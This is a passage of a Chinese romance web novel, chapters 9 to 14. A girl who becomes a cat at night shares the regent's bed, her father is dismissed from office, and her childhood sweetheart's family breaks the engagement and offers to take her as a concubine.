《摄政王无情抄家?化身小野猫撩爆他!》
第9章 同睡,好热
黄金叮铃地响,提着她的侍卫忍不住感慨,“不该叫小福,该叫小贪才对。”
到最后,手里只剩下个小镯子。
又是镯子。
算了,有总比没有好。
福宁都安慰自己了,可侍卫却不放过她,想从她手上将黄金扯下来。
她急得呲牙作势要咬人,对方才罢休。
“王爷在等,快把小福送过去吧。”另一侍卫道。
就这样,福宁被抱着送回寝居,两只爪子还紧紧捁着金镯子。
侍卫没踏进寝居,隔着门槛将她交接给白昼,再由白昼将她送进去。
一进屋,福宁就闻到了清新的皂角味,混合着一缕缕升腾缭绕的沉香,她捧着金镯子扭头,望见穿着黑色丝质寝衣的谢珩玉。
他从昏暗的屏风后走出,披散着一头黑发,发尾因湿濡而微卷,置身于暗处为他添上几分神秘阴暗感。
白昼一步步靠近,福宁被送到谢珩玉面前,她清晰地闻到了来自他身上的刚沐浴过的香气。
他隽秀的脸上没什么表情,眼神在扫过她时,还拧了拧眉,露出嫌弃之色。
嫌弃?
福宁还没懂为什么嫌弃,就见谢珩玉从屏风后取出一块湿毛巾。
那块毛巾就像是一张天罗地网,让她无处可逃,直接包裹住了她的身体。
随即,两只大手隔着毛巾,到处擦揉。
“喵——”悲惨凄厉的叫声从毛巾下发出。
啊啊啊——这是福宁内心的喊叫。
哪怕是作为人,也受不了丫鬟替她擦拭隐私部位!这会儿作为猫,感官感受和人是一样的啊!
先是擦脸,而后是胸部被隔着毛巾擦拭。
谢珩玉的力气还大得很,感受到她往白昼怀里躲,他直接用另一只手按住她,“不干净不准上床。”
救命,谁稀罕上床!
福宁挣扎着,擦拭她胸部的手已经移到了她的肚子上,随后是——
屁股!
啊!不行!
要不是被按着,她真就要跳起来了。
白昼感受到尖锐的爪子扣进衣裳里,丝丝刺痛,伸手抓住她的爪子不让乱动。
主仆俩给一只猫擦身体,专注得像在杀年猪。
但对福宁来说,简直是天塌了。
当尾巴被撩起,不可描述的地方暴露在谢珩玉的视线里。
被来回擦拭的感觉……更是不可描述。
福宁欲哭无泪,突然间不挣扎了,手上的黄金镯子什么时候掉了,自己都不知道。
炸毛微湿的脑袋垂着,长长的睫毛往下扑闪,自暴自弃地任人“蹂躏”,蓝宝石般闪耀的大眼睛此刻没了神采,眼中仿佛写着——
我不干净了。
片刻后,身上一轻。
听谢珩玉淡淡道:“终于干净了。”
紧接着,福宁被捧到榻上,小脸上依旧是那副要死不活的表情。
直到她的视线落在地面的金镯子上,双眼才恢复了些神采,往榻下一扑,将镯子捡起套在爪子上,再吭哧吭哧地靠另外三条腿跳回来。
配上凌乱的毛发、委屈的表情,颇有身残志坚的坚毅感。
真是可怜又好笑,白昼真就笑出了声,谢珩玉一个眼神,他立马找补,“王爷,属下是觉得,小福喜欢黄金,已经到了令人发指的地步。”
福宁充耳不闻,只守护着自己抢回来的黄金,毕竟以后可能就是赵家为数不多的家产了。
“你下去。”谢珩玉道。
待白昼走出门,谢珩玉将滑稽可怜的小猫重新擦了脚,抱在身上,上榻休息。
福宁现在也不想别的,只想抱着金镯子入睡,被谢珩玉放在被窝里也是乖乖的,生怕他一个不高兴抢走金镯子。
奈何乖没有用,也或许是硌到了他。
金镯子还是被毫不留情地夺走,被放在了高处,她就算爆发式跳跃也够不着。
这,还怎么能睡得着?
福宁钻出被窝,坐在床榻上,朝着镯子的方向仰头,就这么看着,双眸透着忧伤,眼角也湿润了。
谢珩玉本打算躺下,却见她忽然望向自己。
那双扑闪的眼睛眨巴着,像是恳求,还发出轻柔的喵叫。
谢珩玉皱眉,起身又将镯子拿了下来,粗鲁直接地将镯子扔在榻上。
方才还向他卖乖的小东西,迅速在榻上跳出欢快的步子去捡手镯,然后以最快的速度在被褥上躺好,闭上眼睛睡觉。
……
给谢珩玉看笑了。
但他没笑出声来,且立马收回了笑的弧度,重新躺下。
时辰已经很晚了,谢珩玉入睡得很快。
难睡的,是福宁。
不知道是不是白天睡多了,她在被褥上翻来覆去也睡不着。
忽然,被褥下睡着的人伸出一只大手,将她从被褥上提起放进被窝里。
完了,又要热死了。
她试图钻出被窝,可是被窝里太黑,她找不到出路,不小心踩到了什么,谢珩玉动了动,她连忙往后退,又往左边走,尽量不碰到他。
她不知道的是,身上柔软的毛毛隔着谢珩玉轻薄的寝衣,一寸寸往下拂去……
谢珩玉又动了。
这次,直接将她抓进怀里,她的肚子被有力的臂腕桎梏,脊背贴在坚硬的胸膛上,挣扎不开,出不去了。
头顶炽热的呼吸喷在了敏感的耳朵上,她不舒服得很。
如果猫会脸红的话,她一定红透了。
她是有未婚夫的,这样真的很不好。
只能一遍遍告诉自己,现在不是人,不算的,不算数。
谢珩玉抱着她,她抱着镯子,安慰着自己,缓缓闭上眼。
一人一猫都熟睡之后,谢珩玉的呼吸愈发沉重,他莫名其妙地做了一个梦。
活了二十三年,这是他第一次梦见女人。
梦中的自己搂着一个少女,少女穿着轻薄的纱衣,纱衣下粉色的肚兜若隐若现,她的肌肤白皙如雪,漂亮的眉毛蹙着,嘟着小嘴说:“坏人。”
不痛不痒的两个字,就像撒娇。
他看着少女娇嗔之态,从来对女子无色欲的身体竟起了反应,喉结微动,浑身热意都朝一处涌去。
第10章 首次梦春
少女身上散发着百合花的香气,让他沉醉,他还没做什么,少女便用小拳头捶他。
谢珩玉捉住她的手腕,看见她手腕上戴着镂空雕花的金镯子,脑袋上竟然慢慢长出两只可爱的猫耳朵……
当窗外响起鸡鸣,谢珩玉从梦中清醒。
彼时天边刚泛起青白之色,他嗅到不同的气味,面色沉沉地掀开被褥,沉默呆坐良久。
他还是第一次如此。
梦中的少女是谁?
谢珩玉只记得少女戴着一个雕花镯子……他忽然联想到什么,转头看向不知何时睡到角落里去的小福。
看着就是软绵绵的一坨,四只小腿缩在一起,只露出一点小肚皮,随着呼吸收进去、呼出来。
小福的手上,攥着和他梦中一模一样的金镯子。
……
谢珩玉的表情变得古怪凝重,眸中充斥着对自己的质疑。
此时,白昼在外面提醒:“王爷,该去上朝了。”
下榻前,谢珩玉原想给小福盖被子,被褥提起后又僵住,想到了那个梦,果断地放下被子,最后也没盖上。
他没让人服侍,亲自换上属于摄政王的黑金纹蟒朝服,提起墙上与腿一般长的摄月剑,佩于腰侧。
到门外,留下一句,“昨儿闹腾,让她多睡会,晚些再打扫。”
“是,王爷。”管家恭敬地应下。
府邸外,亲卫集结,列成方阵,待王府大门一开,冷着面的谢珩玉左脚踏出门槛,一百名亲卫整齐划一地高喊“王爷”。
这气势哪里像是去上朝的,分明像是去逼宫的。
天蒙蒙亮,皇宫外已停满官轿车马,官员们排着长队徒步进宫,忽听铁蹄传来,不用看也知是摄政王驾到。
今上对这位亲弟弟纵容得很,即便是太子也不能策马进宫,摄政王却可以。
如今陛下缠绵病榻,太子被废,已是无人能压制摄政王的威风。
文武官员退避两道,谢珩玉领着亲兵目不斜视地御马通过宫门,所到之处布满肃杀之气。
待他远去,官员们才重新开口与前后同僚说话:
“摄政王今日瞧着像是心情不好。”
“刘大人,你不得了啊,你还敢直视王爷。”
“呵呵,我还看见摄政王的下巴长了痘,看来是上了火,今儿恐怕又要有人遭殃了。”
众人唏嘘,人群中的赵应苦叹,抬起袖子擦擦额头的汗。
前方,谢珩玉心不在焉,梦中情景像是刻在脑海中挥之不去,那双小巧的猫耳朵,怎么能长在女人的头上?
他莫不是有了什么毛病。
越想,眉头蹙得越紧,明明已经临近金銮殿,他忽地调转马头,朝太医院去了。
*
赵福宁能控制自己何时入睡,却控制不了自己何时醒来。
等她清醒的时候,天都大亮了。
睁开眼,她先抬手搓搓眼睛,确认身边没有男人,确认在自己闺房里。
她回来了。
第二眼要确认的,是黄金。
她掀开袖子,看见黄金的那一瞬间,昨夜所受的折磨,都值得了!
还是老规矩,她要把黄金转移到安全的地方。
她欲将镯子取下,掰扯两下却褪不下来。
这镯子竟然这么紧?!
还想再努努力,忽听阿婵的声音在门外响起,“小姐,您起来了吗?奴婢进来了。”
福宁赶忙将袖子放下,挡住手腕上的雕花镯子,“什么时辰了?”
阿婵进屋,“快到巳时了。”
福宁:“我爹回来了吗?”
按照往常,这个时辰,爹爹早该下朝了。
见阿婵摇头,福宁心里又紧张一分,不知摄政王要怎么处置赵家,二皇子又能否求情成功。
福宁起身下榻换衣裳,阿婵在旁帮忙系腰带,一边提醒——
“小姐,下午寿安伯府的二小姐要办茶话宴,您月前是答应去的,今儿还去吗?”
闻言,福宁脸上明显一愣,才想起来还有这茬。
寿安伯府的二小姐江月娇与她是手帕交,从前伯府办的任何宴会,她都是要去的。
但眼下家中事要紧,福宁哪还有心思参加什么宴会,“不去了,待会你派个人去伯府,与娇娇知会一声。”
阿婵又问,“先前崔世子说要陪您一同赴宴,奴婢是否也要遣人知会崔世子一声?”
福宁点头,想到崔兰亭,便联想到昨夜他赶去王府为赵家求情的情景,她心中淌过一丝暖流,“嗯,兰亭哥哥本不喜欢参加这种活动,与他说一声,不必去了。”
簪了一个简单的发髻后,赵福宁带着阿婵出门。
她还是不放心,想亲自去宫门口接一接爹爹,万一真有什么事,也好随机应变。
府邸外有不少路人经过,悄悄地朝着从赵府走出的少女投去目光,其中有好奇,有鄙夷。
福宁有所察觉,莫名其妙地上了马车,“他们怎么都那么看着我。”
难道是爹爹在宫里出了什么事?已经传出来了?
福宁心急如焚,扭头见阿婵面露难色,像是知道内情一般,一番追问之下,阿婵才犹豫地开口:
“小姐,打昨儿您和老爷从摄政王府回来之后,京城传出了些谣言,说老爷卖女求荣,要将您送给摄政王,摄政王看不上您,将您退了回来。”
“早上夫人听到了,嘱咐奴婢不许告诉您的。”
福宁听闻,强颜欢笑,“还好不是爹爹出了事。”
阿婵担忧,“小姐您……”
“我没事,”福宁尽量挥散掉心中的委屈与生气,“若此次家中风波能平,再去追究散播谣言的人,也不迟。”
阿婵伸手,打开车窗,让马车内透透风,也好让小姐放松心情。
彼时马车已行驶到繁华的北大街,眼看离皇宫不远,阿婵开窗之时,也不知看到了什么,双眸瞳孔放大了一分。
赵福宁好奇,也凑过去敲,顺着阿婵所视的方向,却什么也没看见。
此时,还未完全回过神的阿婵颤着声道:“小姐,奴婢方才好像看见崔世子了,他身边还有一个女子。”
赵福宁拧起眉,再次朝街上扫视一眼,确定什么都没看见,“你应该看错了,这个时辰,兰亭哥哥都是在家温书的。”
阿婵语气有些急,“崔世子都被钦点探花了,这会儿还温什么书呀,奴婢虽未完全瞧见脸,但您送给崔世子的玉笄,奴婢瞧得真真切切!”
福宁听她说没看见脸,那更是不信了,“好了,兰亭哥哥对我多好,你不是不知道,不要瞎猜了。”
阿婵还是忍不住想说,“崔世子对小姐好是真,可如今小姐名声有损,赵家又面临灾祸,谁知道——”
第11章 皇后赐婚
“够了!”福宁语气加重,打断了阿婵的话,“你也知道我名声有损,倘若崔家要退亲,眼下是最合适的时候,他们没来退亲,可见兰亭哥哥是信我的,我又怎么能捕风捉影地怀疑他?”
即便不论兰亭哥哥与她的情意,光凭昨夜崔家所为,她也不能怀疑他。
阿婵点头,不多时,皇宫到了。
福宁并未立马下车,吩咐车夫将马车靠边,等了好一会儿,才听宫门处有了动静。
今日竟是上了那么久的朝。
福宁推开车窗,见文武百官从宫门鱼贯而出,几种颜色的朝服将官员也分成了几等,脸反而瞧不真切了。
但福宁的爹爹却很显眼,人群中就他一人没了官帽。
爹爹的官没得做了?
福宁怔愣不足片刻,起身下了马车,朝着丧着脸的爹爹跑去。
不做官就不做官,只要不抄家,一家人在一起也是幸福的!
面色郁郁的赵应在瞧见女儿的一刹那,扬起笑容,朝着她招手,加快脚步。
父女两在人流中靠近,走近了,福宁发现他走姿怪异,像是……
“爹,你受伤了?”福宁扶住父亲。
赵应抬起袖子擦擦额角的冷汗,“因为送礼的事,被打了几棍子,好在二皇子替爹说了话,眼下只是革职查办,只要查明爹没有参与太子谋反,咱家就没事了。”
说是几棍子,肯定不止是几棍子。
福宁看着爹爹强颜欢笑也要让自己放心的模样,鼻子一酸,点点头,“我们回家。”
此时,阵阵铁蹄声从赵应的身后响起,越来越近。
福宁寻声抬眸,卷起的尘土吹过鬓边,也吹进了眼睛里,难受得她频繁眨眼间。
甚至忘了手腕处还有一个赃物,抬手便去揉眼睛。
谢珩玉出了皇宫,左右两道百官停步垂首恭送,并未勾起他的注意。
但有一点跟往日不同,百官之中竟混进了一个女子。
女子身旁,是刚被他革职的赵侍郎。
又是这对父女。
谢珩玉途经赵氏父女身边时,并未停下,余光注意到少女抬手的动作,便朝她瞟了眼。
她今天没有披发。
但红着眼眶,若有若无地朝他的方向眨眼。
作出这副楚楚可怜的姿态,是给谁看?不用想也知道。
可见其心思深沉。
少女纤细修长的手指揉弄眼睛时,被袖子遮掩的手腕处露出黄灿灿的一角。
俗气得很。
谢珩玉收回目光,嘴角弯起冷笑,驾马朝前。
福宁刚放下手,面前的马突然狂奔,后腿踢得都似要踹人脸上。
她忙拉着父亲往后退两步。
摄政王的坐骑,与他人一样嚣张。
摄政王这个人,出门在外和在王府里,也完全是两副面孔……哦不对,他睡觉的时候也挺霸道的。
福宁瞧着人马远去,但没走远,又被一官员拦住了。
她眯起眼,发现拦马行礼的人,是江月娇的父亲——寿安伯。
难道是要邀请摄政王参加伯府茶话宴吗?
这是福宁下意识的想法,很快,便被自己否定。
记忆里,摄政王和寿安伯府毫无瓜葛,怎么可能会去参加伯府的茶话宴?
赵应察觉女儿的视线,低声开口,“今日早朝前,摄政王亲自向皇后娘娘请旨赐婚,赐婚对象,正是江家女。”
福宁懵了,“摄政王喜欢娇娇吗?”
赵应:“不是江二,是江家的嫡长女。”
江月娇的长姐,江雪娥,是京中第一美人,福宁见过她许多次,她美貌到一颦一笑都像是画中的人物。
京中不少世族子弟想求娶,奈何寿安伯府早不似从前,家族没落,连寿安伯本人也只出任五品,刚好是在福宁爹爹的手下做事。
因着门第之故,无高门求娶江雪娥,寿安伯不愿女儿下嫁,硬是拖到了江雪娥二十岁,外面早有传言,寿安伯在等高门权贵丧妻续弦。
令福宁意外的是,像摄政王这样冷酷的人,也喜欢京城第一美人。
意外归意外,当务之急还是要赶快带爹爹回家治疗伤处。
然而,赵应却把女儿往后拉,小声说:“等摄政王走了,咱们再过去。”
福宁扭头看向赵应,没想到爹爹都被打出恐惧与阴影了。
她心疼,“爹爹你不要怕,你都被革职了,摄政王也不能不讲道理再打你一次。”
赵应深深看了眼女儿,“这次革职,户部侍郎的位子空出来了,摄政王点了你江伯伯来做。”
因着江赵两家女儿走动频繁之故,福宁唤寿安伯为江伯伯。
闻言,福宁才知爹爹是怕遇着江伯伯尴尬。
她心里说不出来的难过,江赵两家关系不错,此番任命确实叫人尴尬,可惜的是只有爹爹觉得尴尬,若是江伯伯也觉得尴尬,便不会选在此地与摄政王攀谈。
而且往常,江伯伯都是与爹爹一起走出来的,今日却是分道扬镳了。
这些话,她没有说出来。
福宁看着不远处的江伯伯面带笑容,连连弯腰,他们在说什么,她是听不见的。
她的角度,也只能看见谢珩玉的挺直的背。
刺眼得很。
讨厌得很。
可恨得很。
最终也不知他们说了什么,摄政王先行离去。
寿安伯转头对上赵氏父女,不再像福宁印象里那样和蔼可亲,寿安伯随意点了点头,就背过身去。
下一瞬,好几名官员朝寿安伯簇拥过去,殷勤的、讨好的、羡慕的几道声音接连响起——
“寿安伯,您可是摄政王的未来岳丈,平步青云,指日可待啊!”
“还什么指日,今日不已经升任户部侍郎了吗,恭喜江侍郎!这可得请客啊!”
“伯府的大千金是摄政王亲选的准王妃,那,二千金可有许配人家啊?”
与摄政王做连襟的机会,可不多有。
此起彼伏的爽朗笑声逐渐远去,赵福宁扶着爹爹上马车,一边观察他的脸色。
忽听他一声叹息,想来也是对江伯伯方才的反应失望了。
福宁坐下,正想安慰爹爹,却被他抢先一步安慰自己——
“囡囡啊,咱家现在不如从前,革职查办之后是重新上任还是获罪,都不好说,此时若有亲朋想撇清关系、保全自身,也是很正常的,不用因此伤怀。”
“总不能因为从前关系好,就要求人家为我做什么。”
福宁听着教诲,点点头,“我知道的。”
赵应又道:“你与江二小姐交好,爹也希望你们的关系不要因为长辈而受到影响,但若是她让你觉得不舒服了,你也不要瞒着爹娘,我们永远是站在你这边的。”
福宁笃定道:“娇娇才不像江伯伯那样,她今早还派人来邀请我参加下午的茶话宴呢。”
赵应听闻,放下了心。
第12章 竹马退婚,欲聘为妾
等父女两到了家,福宁一眼瞧见了崔家的马车。
是兰亭哥哥来了?
福宁心喜,搀扶着爹爹走进家门,赵管家迎上来跟着交代,“是长平侯夫人携世子来探望老爷夫人了。”
赵应走路姿势怪异,轻咳,“为父就不过去了。”
福宁点点头,爹爹受了伤,眼下上药最重要。
遂让管家带着爹去上药,自己独自前往正厅。
刚进院子,透过正厅打开的两扇门,她就看见母亲坐在主位上,正与崔伯母说着话,崔兰亭穿着一袭浅蓝色锦衣,端坐在崔伯母身旁,认真地听着,只让福宁瞧见一个后脑勺。
离正厅近了,她的脚步不自觉地加快,再抬抬下巴,让自己看得更清楚些。
崔兰亭似有所觉,转过头来。
两人视线交汇,他眸光一闪,回头与长辈交代一声,便匆忙起身,脚步略显紊乱地踏出正厅朝她走来,“皎皎。”
皎皎,是赵福宁十五岁及笄时,父母为她取的小名。
只是家人唤她囡囡习惯了,至今唯有崔兰亭和娇娇喊她皎皎。
“兰亭哥哥。”福宁笑吟吟地看着他。
崔兰亭将怀里伤药取出,“来时听闻伯父受伤了,正好我家中有御赐的伤药,给伯父送来。”
“谢谢,”福宁没有推拒,接过伤药递到阿婵手上,让她送去,随后便欲朝正厅去,“我们进去吧。”
“等等。”崔兰亭迅速挡在她面前。
福宁捕捉到他脸上一闪而过的惊慌,就好像正厅内在商谈什么她不该知道的事,她心中怪异,“怎么了?”
崔兰亭摇头,露出如往常一样温柔的笑,“皎皎,你……如今伯父被革职,你家中若有难处,可以与我说。”
福宁心里暖暖的,“没事的,只要一家人能在一起,就是不幸中的万幸了。”
想要昨夜之事,她心中感动,无比认真地开口,“兰亭哥哥,谢谢你,你与伯父都是重情重义的好人,我知道的。”
毕竟是作为猫的时候看见的,不好明说。
她嘴角弯弯,眼眸如盛星光。
崔兰亭微低着头,看着她天真纯粹的模样,他情绪复杂,“我……”
仿佛有什么话难以说出口,最终化为一道深情呼唤,“皎皎。”
“不论发生何事,我都会护你周全的。”
听着他的诺言,福宁两颊的小酒窝加深,重重地点头。
崔兰亭张嘴,再要开口,却被正厅内走出的耿嬷嬷严肃打断——
“小姐,崔公子,夫人请你们进去。”
耿嬷嬷是娘亲身边的心腹,福宁从未见过她这般肃穆之态,定是有什么要紧事。
于是不再顾崔兰亭的有意阻止,她跟着耿嬷嬷进屋。
崔兰亭垂眸,遮住眼中复杂,跟在她的身后。
甫一踏入正厅,福宁就嗅到了一丝不寻常的气息,母亲正襟危坐,面色不悦,与崔伯母之间的气氛沉重又压抑。
直到她的出现,崔伯母率先笑着招手,“一个月未见,福宁还是那么漂亮,没记错的话,今年十七了吧?”
福宁礼貌点头,唤了声伯母,正欲朝崔伯母走去,突然被母亲制止。
容婉疏离地笑着,“囡囡过来。”
福宁也不知方才她们在屋里聊了什么,此时被夹在中间,自然是向着亲娘的,想也不想便走到母亲身边。
崔夫人身为侯府主母,不怒自威的气派不需多说,见容婉冷脸,她的笑也淡去许多,轻咳两声,“如今赵家惹了摄政王不喜,赵大人被革职查办,往后会如何还无定论,福宁岁数不小了,早些嫁过来你们也早些安心不是?”
原来崔伯母是来商量婚事的。
诚如崔伯母所言,赵家如今朝不保夕,按爹娘的心思该极力促成这门婚事,可是为何娘会不高兴?
容婉冷笑,“我倒是要谢谢你们了,但我家的女儿容不得你们糟践!崔夫人,就如你所愿,两家就此退婚!”
退婚?
福宁震惊地看向母亲,没明白中间发生了什么事,也来不及阻止,就见母亲愤怒地撕碎了婚约契书,“娘,娘,这……”
她无措地朝崔兰亭望去,想着他定然知道缘由。
后者却是神情闪躲。
一瞬间,福宁心中凉了彻底。
崔夫人脸上愠怒,“容婉,难道你觉得赵家还与从前一样吗?我到底是看着福宁长大的,还能亏待了她?你硬要她跟着你们受苦,待将来沦为阶下囚时,可不要后悔今日不答应——”
“母亲!”崔兰亭保持不住温润之态,急急打断。
像是生怕崔夫人说出什么话叫福宁听见,他匆忙打断后朝容婉鞠躬,“伯母,我母亲口不择言,改日我定登门致歉,再商量我与皎皎的婚事。”
语毕拉着崔夫人离去。
容婉吐出一口浊气,气得身体发颤。
福宁云里雾里,轻轻抚着母亲的脊背,“娘是与崔伯母发生口角了吗?”
容婉脸色发白,许久说不上来话。
边上的耿嬷嬷义愤填膺,“小姐有所不知,崔家欺人太甚,不过是瞧我们赵家落魄了,他们便来退婚!从前还道崔家有多重情义!”
福宁脑袋嗡嗡的,“他们是来退婚?不是商议婚期的吗?”
可崔伯母刚才还让她早些嫁过去……
容婉缓过劲来,声音因气愤而哽咽,“退婚,再聘为……”
话半而止,她望向女儿懵懂的双眼,不忍心地吐出那个叫人暴怒的字——
“妾。”
……
一字落下,满堂寂静。
福宁不可置信地怔愣了一会儿,好半晌才回过神来。
崔兰亭要退婚,让她做妾?
“怎么可能……”她喃喃道。
明明刚才,他还承诺要护她周全。
明明昨夜崔家还进摄政王府为赵家求情,为何今日要这样侮辱她?难怪母亲气得直接撕碎契书……
福宁双眼逐渐空洞,心中乱糟糟的,耳边还有耿嬷嬷骂人的声音不断。
可她听不进去了,拔腿跑了出去。
“小姐!”
“囡囡!”
福宁朝着府外追去,她想知道为何。
父亲说过,不该求别人在自己落难时施以援手,她明白。
可若崔兰亭是嫌贫爱富、怕惹火上身的人,为何昨夜还要帮赵家,方才还要与自己说那些承诺。
他们青梅竹马,从小一起长大,这些情谊难道是假的吗?如今家还没抄,他就不愿娶她为妻了吗?
她要问问清楚。
福宁一路追到府邸大门,却在即将追上时,在门内止步。
没有跨出门槛,隔着一堵墙,她听见府外传来崔伯母斥责的声音——
“你拦我作甚,如今情形,我们还愿意要她都算不错了,怎么可能给出世子夫人的位置,真是痴人说梦!”
第13章 本王不会再抱她了!
崔兰亭的声音压抑,“母亲,我不想当着皎皎的面说。”
崔夫人冷酷道:“她迟早要知道的,况且,当下除了我们侯府,谁还能要她?全京城都知道,她赵福宁是摄政王不要的女人。”
崔兰亭据理力争,“母亲,皎皎不是那样的人,此事定有误会。”
崔夫人:“误不误会的不重要了,赵家如今被摄政王厌恶,又有行贿案在身,未来或要面临抄家灭族,这个节骨眼上,我们侯府能给出妾室的位置保她周全,已经是仁至义尽。”
福宁在墙内听着对话,原来这便是崔伯母的真实想法。
崔伯母从小看着她长大,她还以为伯母真的很喜欢她。
呵……福宁疲惫地靠在墙上,等着崔兰亭的回答。
但他只是沉默。
又闻崔夫人叹息一声,像是也有诸多无奈,“兰亭,母亲知道你们感情深厚,可你是侯府世子,你的夫人必须门当户对。今早,摄政王亲自求娶寿安伯长女,伯府地位水涨船高,你父亲说了,要为你求娶寿安伯次女。”
说话时,母子俩已经登上马车。
正听到紧要关头,福宁听得“吱嘎”一声,车门关上。
再没听见崔兰亭的答复。
崔家意图让她做妾,已经够羞辱人了,竟还想为崔兰亭求娶寿安伯次女,江月娇……
他们明知,她与娇娇是最要好的,可曾想过,这将她置于何地?
崔兰亭会答应吗?
福宁不知道。
她唯独知道的是,自己绝不会做妾的。
福宁站在墙下,又像是躲在墙下,而这里,明明是她自己的家。
扶着墙的手指甲嵌入墙面,脸上再无光彩,发红的眼眶里蓄了泪,强忍着没有流下。
“小姐,”耿嬷嬷带着阿婵寻了过来,“小姐莫要伤心,崔家不仁不义,老爷夫人绝不会将您嫁过去的。”
福宁吸了吸鼻子,擦掉快要抑制不住落下的泪。
只要眼泪没有从脸上滑过,就算不上掉眼泪。
“我,绝不会做妾的。”
即便,赵家真有覆灭那天,她宁愿与家人一同赴死,也绝不会受人折辱。
耿嬷嬷和阿婵一同点头。
福宁站直身体,怕母亲看见自己这副模样担心,声音沙哑地对耿嬷嬷道:“嬷嬷去照顾我娘吧,告诉她我没事,睡一觉就好了。”
在耿嬷嬷欲言又止的视线下,她一步步走向后院。
父亲说得对,她不该奢望别人,在她落难时还能对她如往常一样。
哪怕是青梅竹马的崔兰亭,他肩负侯府未来,能在昨夜为赵家求情,已经是许多人做不到的了。
哪怕婚约不再,她也不能恨他。
福宁秀气的双眉拧成一座小山丘,她走得很慢,阿婵怕她受不住打击,跟在她的身后,抬着双手防止她站不稳摔倒。
福宁的脑海里,忽而想起阿婵的话,停下步子问,“你确定今早看见的,是崔兰亭吗?”
阿婵笃定道:“奴婢觉得自己不会认错。”
福宁唇瓣抿直,又问,“那个女子,你可眼熟?”
阿婵摇头,“分辨不出,但小姐若想知道,奴婢可以出去打听。”
福宁垂眸,“不必了,是谁都可以,只要……不是娇娇。”
“江二小姐?”阿婵细想了想,“您与江二小姐那般亲近,往日她与崔世子行为举止从不逾越,她还总是吃崔世子的醋,在您面前说崔世子不好呢。”
阿婵得出结论,“应该不会是江二小姐。”
福宁沉默半晌,即便接连对寿安伯和崔家感到失望,可内心还是愿意相信娇娇,“是啊,娇娇不喜欢他。”
眼下寿安伯得势,娇娇可以婚配的选择,有很多。
崔氏想求娶娇娇,只是一厢情愿。
娇娇,不会答应的。
崔兰亭,也不会答应的。
……
对吗?
福宁心中的疑问,如石沉大海,没人能给回答。
直到回了房,她将自己锁在房间里,终是忍不住委屈,躲进被褥里。
在无人看见时,被褥一动一动的,里头是压抑的抽泣。
不知过了多久,里面没了动静。
福宁醒来的时候,身下床单的颜色换了,被褥和床单都是她从没睡过的黑色。
很压抑,心情更不好了。
她耷拉着脑袋,下巴抵在枕头上,心里想着——
若是眼泪掉上去,根本看不出来痕迹的吧?
她独自悲伤着,房中另一侧传来白昼不满的声音。
“王爷,皇后娘娘赐婚便罢了,可这对象……”白昼替摄政王不甘,“依属下看,分明是皇后怕您势力扩大,所以给您寻了一个破落户结亲,外面还都以为是王爷您求来的,王爷当真要接受这门婚事吗?”
嗯?
福宁情绪中断,仰起头。
婚事不是摄政王求来的吗?
她的目光朝主位上冷静的男人望去。
他好像并不在意,“本王前脚去了太医院,皇后后脚就收到了消息,她倒是用心良苦,赐一个京城第一美人。”
福宁的脑袋彻底从被褥里挪出来了,摄政王去太医院了?他生病了?
什么毛病是赐婚能治好的?
想不出来。
白昼:“若非有这个名号,皇后娘娘也不能心安理得地给您选个破落户,正因有了名号,显得像是为您好似的。”
白昼作为谢珩玉的亲信,说话直接,谢珩玉也不怪。
福宁睁圆了眼睛。
原来皇后娘娘和摄政王不对付,不过也对,太子被幽禁,皇后娘娘作为太子的生母,自然是希望太子东山再起,故而想控制摄政王势力。
可太子真的还能东山再起吗?
如果能就好了,讲不定太子还能看在她家送过礼的份上,保她家平安呢!不像摄政王……
她投过去的目光逐渐变得幽怨。
谢珩玉沉吟道:“一切等皇兄恢复再说。”
“若陛下他……”白昼话说一半,见王爷面色一冷,立马收住,“属下失言,只怕在这期间寿安伯会借王爷的名义狐假虎威,败坏王爷名声。”
谢珩玉拧眉不语,他忽然扭头,毫无征兆地对上榻上全神贯注的猫。
心虚如福宁,立马低下头,假装自己很忙。
两只爪子不停地踩着床单。
踩了一会儿,才想到,她现在是一只猫哎,听到又怎么了!
福宁心安理得地停下,谢珩玉不知何时收回了目光,他话锋一转——
“本王不会再抱她了。”
第14章 福宁忧伤中,摄政王自我攻略
白昼险些没反应过来,“王爷不要小福了吗?”
福宁疑惑地望过去。
切,不抱最好呢,她求之不得。
这次,谢珩玉没有看她,“以后,莫让她出现在本王的房里。”
白昼实在不懂,“那,属下抱走?”
谢珩玉:“嗯。”
白昼摸不透他的想法,领命朝床榻走去。
福宁惊得尾巴直直翘起,恐惧地往后缩。
谢珩玉也太不负责了,凭什么莫名其妙抛弃小猫,太没道德了吧!
天呐,前脚刚跟崔家解除婚约,后脚就要被摄政王丢去马路边,让她睡马路吗?
内心正狂怒呢,又听谢珩玉补充道:“抱去隔壁屋。”
哦,原来不是要扔掉她。
福宁戒备状态解除,被白昼抱起的同时,歪着脑袋、探究地看向谢珩玉。
后者冷着一张脸,像是下定了某种决心。
他到底咋了?
福宁不解,虽然自己也不喜欢被他抱着睡觉,可是,这人去太医院一趟后就变得这么快吗?
难道也和崔兰亭一样,碰了小猫会不舒服?
这个病,是后天养成的吗?
不能吧?
思考之际,她已经趴在白昼的肩头,被抱去了隔壁的屋子。
许是白天的缘故,白昼没将房门关上,独留福宁趴在新榻上发呆,再度陷入被崔兰亭背叛的伤感。
他虽然是受父母之命,可他显然也是同意了让她做妾,都不曾过问她的感受。
还百般阻拦,不想叫她听见。
福宁能给崔家找借口,她不能绑架任何人,跟她共同面对困难。
可是没法给崔兰亭找借口,他是她最喜欢的人啊,难道过往的一切,比不上一句门当户对吗?
每隔一刻钟,她就抬起毛茸茸的爪子,用粉嫩嫩的掌心搓搓眼睛。
连下人送来的食物,都闻不着香了。
一墙之隔的寝殿,谢珩玉忽想到昨夜小福对金镯子热衷的模样,吩咐道:“把金镯子拿过去给她。”
“金镯子?”白昼没看到什么金镯子呀,又想到早晨下人换过床单,可能是掉床底了,于是趴到地上寻找,半晌找不到,“王爷,没有金镯子,会不会是小福玩丢了。”
谢珩玉皱皱眉,倒不是可惜一个镯子,而是今早明明看见了。
白昼:“下人手脚干净,不会做偷窃之事,应该是小福拿去哪儿玩了,说不准她有个自己的藏宝库呢。”
谢珩玉没再追究。
直到半个时辰后,下人来禀报,“王爷,小福看着好像很伤心,早上还没吃,中午也不吃。”
谢珩玉下意识想起身,奈何脑海里又飘过一些不该出现的东西,他阴沉着重新坐下,“换厨子。”
下人不明白王爷怎么就变了脸,点头退下。
白昼几度张口,又闭上。
谢珩玉有所察觉,心中躁郁,“说。”
白昼小心翼翼地开口,“都说猫有灵性,小福可能是感受到了王爷的冷待,所以才食欲不振。”
